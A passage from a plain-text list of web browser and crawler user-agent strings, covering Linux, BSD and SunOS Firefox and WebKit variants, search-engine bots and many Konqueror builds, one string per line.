)\nMozilla/5.0 (X11; U; Linux; es-ES) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change: 388 835b3b6)\nMozilla/5.0 (X11; U; Linux; fi-FI) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.6 (Change: 754 46b659a)\nMozilla/5.0 (X11; U; Linux; fr-FR) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4\nMozilla/5.0 (X11; U; Linux; fr-fr) AppleWebKit/532+ (KHTML, like Gecko) Safari/419.3 Midori/0.1.7\nMozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux; hu-HU) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4\nMozilla/5.0 (X11; U; Linux; hu-HU) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change: 388 835b3b6)\nMozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7\nMozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5\nMozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14\nMozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4\nMozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change: 413 12f13f8)\nMozilla/5.0 (X11; U; Linux; it-IT; rv:1.9.1) Gecko/20080913 Firefox/2.0 Midori/0.1.6\nMozilla/5.0 (X11; U; Linux; it-it) AppleWebKit/531+ (KHTML, like Gecko) Safari/531.2+ Midori/0.2\nMozilla/5.0 (X11; U; Linux; nb-NO) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2 (Change: 0 )\nMozilla/5.0 (X11; U; Linux; nb-NO) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.4\nMozilla/5.0 (X11; U; Linux; pl-PL) AppleWebKit/532.4 (KHTML, like Gecko) Arora/0.10.2 Safari/532.4\nMozilla/5.0 (X11; U; Linux; pt-PT) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4\nMozilla/5.0 (X11; U; Linux; pt-br) AppleWebKit/531+ (KHTML, like Gecko) Safari/531.2+ Midori/0.3\nMozilla/5.0 (X11; U; Linux; ru-RU) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.6 (Change: 802 025a17d)\nMozilla/5.0 (X11; U; Linux; sk-SK) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2 (Change: 0 )\nMozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422  Firefox/3.0.7\nMozilla/5.0 (X11; U; NetBSD alpha; en-US; rv:1.8.1.6) Gecko/20080115 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15\nMozilla/5.0 (X11; U; NetBSD amd64; fr-FR; rv:1.8.0.7) Gecko/20061102 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8) Gecko/20060104 Firefox/1.5\nMozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.5) Gecko/20060818 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12\nMozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.3) Gecko/20100403 Namoroka/3.6.3\nMozilla/5.0 (X11; U; NetBSD sparc64; fr-FR; rv:1.8.1.6) Gecko/20070822 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; OSF1 alpha; en-US; rv:0.9.4.1) Gecko/20020517 Netscape6/6.2.3\nMozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.0.9) Gecko/20070101 Firefox/1.5.0.9\nMozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.1.6) Gecko/20070817 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1\nMozilla/5.0 (X11; U; OpenBSD amd64; en; rv:1.8.1.6) Gecko/20070817 Epiphany/2.18 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2  (KHTML, like Gecko) Safari/531.2  Epiphany/2.30.0\nMozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.0\nMozilla/5.0 (X11; U; OpenBSD i386; de-DE; rv:1.8.1.6) Gecko/20080429 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.0.13) Gecko/20060901\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.10) Gecko/20050919 (No IDN) Firefox/1.0.6\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.13) Gecko/20060901\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.1) Gecko/20060213 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.4) Gecko/20060628 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.5) Gecko/20060819 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20060920 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20061017 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.16) Gecko/20080812 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.3) Gecko/20070505 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.6) Gecko/20070819 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.7) Gecko/20070930 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.8) Gecko/20101230 Firefox/3.6.8\nMozilla/5.0 (X11; U; OpenBSD macppc; rv:1.8.1) Gecko/20070222 Minimo/0.016\nMozilla/5.0 (X11; U; OpenBSD ppc; en-US; rv:1.8.0.10) Gecko/20070223 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; OpenBSD ppc; en-US; rv:1.8.1.4) Gecko/20070223 BonEcho/2.0.0.4\nMozilla/5.0 (X11; U; OpenBSD ppc; en-US; rv:1.8.1.9) Gecko/20070223 BonEcho/2.0.0.9\nMozilla/5.0 (X11; U; OpenBSD sparc64; en-AU; rv:1.8.1.6) Gecko/20071225 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; OpenBSD sparc64; en-CA; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2\nMozilla/5.0 (X11; U; OpenBSD sparc64; en-US; rv:1.8.1.6) Gecko/20070816 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; OpenBSD sparc64; pl-PL; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2\nMozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10\nMozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5\nMozilla/5.0 (X11; U; SunOS 5.11; en-US; rv:1.8.0.2) Gecko/20050405 Epiphany/1.7.1\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7) Gecko/20041221\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7) Gecko/20050502\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7) Gecko/20051027\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7) Gecko/20051122\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7) Gecko/20060627\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.12) Gecko/20051121 Firefox/1.0.7 (Nexenta package 1.0.7)\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.5) Gecko/20041109 Firefox/1.0\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.0.5) Gecko/20060728 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061211 Firefox/2.0\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.3) Gecko/20070423 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3\nMozilla/5.0 (X11; U; SunOS i86pc; en-ZW; rv:1.8.1.6) Gecko/20071125 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4\nMozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6\nMozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:0.9.4.1) Gecko/20020518 Netscape6/6.2.3\nMozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.7) Gecko/20070606\nMozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.8.1.6) Gecko/20070805 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.9.1b4) Gecko/20090428 Firefox/2.0.0.0\nMozilla/5.0 (X11; U; SunOS sun4u; en-GB; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.2) Gecko/20011002 Netscape6/6.1\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4) Gecko/20011206 Netscape6/6.2.1\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) Gecko/20020406 Netscape6/6.2.2\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) Gecko/20020518 Netscape6/6.2.3\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.0) Gecko/20020611\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020719 Netscape/7.0\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020921 Netscape/7.0\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020909\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020925\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.2.1) Gecko/20021205\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.2.1) Gecko/20021212\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.2.1) Gecko/20021217\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.2.1) Gecko/20030711\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.3) Gecko/20030318\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.3.1) Gecko/20030509\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20041224\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4a) Gecko/20030318\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.5a) Gecko/20030729 Mozilla Firebird/0.6.1\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20060120\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20060629\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.11) Gecko/20050802\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050927 Firefox/1.0.7\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.13) Gecko/20060509\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.5) Gecko/20041221\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.5) Gecko/20050105 Epiphany/1.4.8\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.7) Gecko/20050421\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8) Gecko/20051130 Firefox/1.5\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061228 Firefox/2.0\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.11) Gecko/20080118 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.11) Gecko/20080208 BonEcho/2.0.0.11\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.14) Gecko/20080418 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.20) Gecko/20090108 Firefox/2.0.0.20\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070622 Thunderbird/2.0.0.4\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.9) Gecko/20071102 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5\nMozilla/5.0 (X11; U; SunOS sun4u; fr-FR; rv:1.7) Gecko/20040621\nMozilla/5.0 (X11; U; SunOS sun4u; it-IT; ) Gecko/20080000 Firefox/3.0\nMozilla/5.0 (X11; U; SunOS sun4u; pl-PL; rv:1.8.1.6) Gecko/20071217 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; SunOS sun4v; en-US; rv:1.7) Gecko/20060120\nMozilla/5.0 (X11; U; SunOS sun4v; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; SunOS sun4v; es-ES; rv:1.8.1.9) Gecko/20071127 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; SunOS5.10 sun4u; ja-JP; rv:1.5) Gecko/20031022\nMozilla/5.0 (X11; U; UNICOS lcLinux; en-US) Gecko/20140730 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0\nMozilla/5.0 (X11; U; Win95; en-US; rv:1.8.1) Gecko/20061125 BonEcho/2.0\nMozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4\nMozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12\nMozilla/5.0 (X11; U; Windows NT i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; i386 FreeBSD; en_US; rv:1.8.0.4) Gecko/20060508 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; i686 Linux; en_US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; i686 Linux; en_US; rv:1.8.16) Gecko/20071015 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; i686; fr; rv:1.8.0.6; Gecko/20060801; Firefox/1.5.0.6)\nMozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3\nMozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.8.16) Gecko/20071015 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5\nMozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0\nMozilla/5.0 (X11; debian; Linux x86_64; rv:15.0) Gecko/20100101 Iceweasel/15.0\nMozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5\nMozilla/5.0 (X11;U;Linux i686;en-US;rv:1.8.1) Gecko/2006101022 Firefox/2.0\nMozilla/5.0 (ZX-81; U; CP/M86; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (compatible) GM RSS Panel X\nMozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0;  rv:11.0) like Gecko\nMozilla/5.0 (compatible; +http://www.evri.com/evrinid)\nMozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/spider.html;) Gecko/2008032620\nMozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620\nMozilla/5.0 (compatible; ABrowse 0.4; Syllable)\nMozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com)\nMozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)\nMozilla/5.0 (compatible; Abonti/0.8 - http://www.abonti.com)\nMozilla/5.0 (compatible; AnsearchBot/1.x; +http://www.ansearch.com.au/)\nMozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)\nMozilla/5.0 (compatible; Ask Jeeves/Teoma;  http://about.ask.com/en/docs/about/webmasters.shtml)\nMozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\nMozilla/5.0 (compatible; BanBots/2.0b; Fetch; +http://www.banbots.com)\nMozilla/5.0 (compatible; BecomeBot/1.23; http://www.become.com/webmasters.html)\nMozilla/5.0 (compatible; BecomeBot/1.xx; MSIE 6.0 compatible; http://www.become.com/webmasters.html)\nMozilla/5.0 (compatible; BecomeBot/2.0beta; http://www.become.com/webmasters.html)\nMozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)\nMozilla/5.0 (compatible; BecomeBot/2.x; MSIE 6.0 compatible; http://www.become.com/site_owners.html)\nMozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)\nMozilla/5.0 (compatible; BecomeJPBot/2.3; MSIE 6.0 compatible; +http://www.become.co.jp/site_owners.html)\nMozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0;  http://www.beslist.nl/\nMozilla/5.0 (compatible; BlogRefsBot/0.1; http://www.blogrefs.com/about/bloggers)\nMozilla/5.0 (compatible; Bot; +http://pressemitteilung.ws/spamfilter\nMozilla/5.0 (compatible; BuzzRankingBot/1.0; +http://www.buzzrankingbot.com/)\nMozilla/5.0 (compatible; Charlotte/0.9t; +http://www.searchme.com/support/)\nMozilla/5.0 (compatible; Charlotte/0.9t; http://www.searchme.com/support/)\nMozilla/5.0 (compatible; Charlotte/1.0b; charlotte@betaspider.com)\nMozilla/5.0 (compatible; Charlotte/1.0b; http://www.betaspider.com/)\nMozilla/5.0 (compatible; Charlotte/1.0b; http://www.searchme.com/support/)\nMozilla/5.0 (compatible; Charlotte/1.0t; http://www.searchme.com/support/)\nMozilla/5.0 (compatible; Charlotte/1.1; http://www.searchme.com/support/)\nMozilla/5.0 (compatible; Crawling jpeg; http://www.yama.info.waseda.ac.jp)\nMozilla/5.0 (compatible; Custo 3 (Netwu.com); Windows NT 5.1)\nMozilla/5.0 (compatible; DNS-Digger-Explorer/1.0; +http://www.dnsdigger.com)\nMozilla/5.0 (compatible; DNS-Digger/1.0; +http://www.dnsdigger.com)\nMozilla/5.0 (compatible; Diffbot/0.1; +http://www.diffbot.com)\nMozilla/5.0 (compatible; DotBot/1.1; http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org)\nMozilla/5.0 (compatible; EARTHCOM.info/2.01; http://www.earthcom.info)\nMozilla/5.0 (compatible; EARTHCOM/2.2; +http://enter4u.eu)\nMozilla/5.0 (compatible; Exabot Test/3.0; +http://www.exabot.com/go/robot)\nMozilla/5.0 (compatible; Exabot/3.0;  http://www.exabot.com/go/robot)\nMozilla/5.0 (compatible; FatBot 2.0; http://www.thefind.com/main/CrawlerFAQs.fhtml)\nMozilla/5.0 (compatible; Galbot/1.0; +http://www.galbot.com/bot.html)\nMozilla/5.0 (compatible; Google Desktop) Paros/3.2.12\nMozilla/5.0 (compatible; Googlebot/2.1;  http://www.google.com/bot.html)\nMozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)\nMozilla/5.0 (compatible; GurujiBot/1.0; +http://www.guruji.com/en/WebmasterFAQ.html)\nMozilla/5.0 (compatible; Heritrix/1.8.0 http://www.hanzoarchives.com)\nMozilla/5.0 (compatible; Hermit Search. Com; +http://www.hermitsearch.com)\nMozilla/5.0 (compatible; HyperixScoop/1.3; +http://www.hyperix.com)\nMozilla/5.0 (compatible; IBrowse 3.0; AmigaOS4.0)\nMozilla/5.0 (compatible; IDBot/1.0; +http://www.id-search.org/bot.html)\nMozilla/5.0 (compatible; InterseekWeb/3.x)\nMozilla/5.0 (compatible; Jim +http://www.hanzoarchives.com)\nMozilla/5.0 (compatible; KoepaBot BETA; http://www.koepa.nl/bot.html)\nMozilla/5.0 (compatible; Konqueror/2.0.1; X11); Supports MD5-Digest; Supports gzip encoding\nMozilla/5.0 (compatible; Konqueror/2.1.1; X11)\nMozilla/5.0 (compatible; Konqueror/2.1.2; X11)\nMozilla/5.0 (compatible; Konqueror/2.2-11; Linux)\nMozilla/5.0 (compatible; Konqueror/2.2-12; Linux)\nMozilla/5.0 (compatible; Konqueror/2.2.1; Linux)\nMozilla/5.0 (compatible; Konqueror/2.2.2)\nMozilla/5.0 (compatible; Konqueror/2.2.2-3; Linux)\nMozilla/5.0 (compatible; Konqueror/2.2.2; Linux 2.4.14-xfs; X11; i686)\nMozilla/5.0 (compatible; Konqueror/2.2.2; Linux)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020107)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020108)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020115)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020121)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020217)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020319)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020515)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020523)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020703)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020704)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020705)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020723)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020726)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020801)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020807)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020808)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020906)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020911)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020917)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20021026)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20021103)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20021118)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20021206)\nMozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20021208)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020105)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020106)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020107)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020108)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020110)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020213)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020219)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020226)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020323)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020424)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020505)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020602)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020606)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 20020702)\nMozilla/5.0 (compatible; Konqueror/3.0-rc2; i686 Linux; 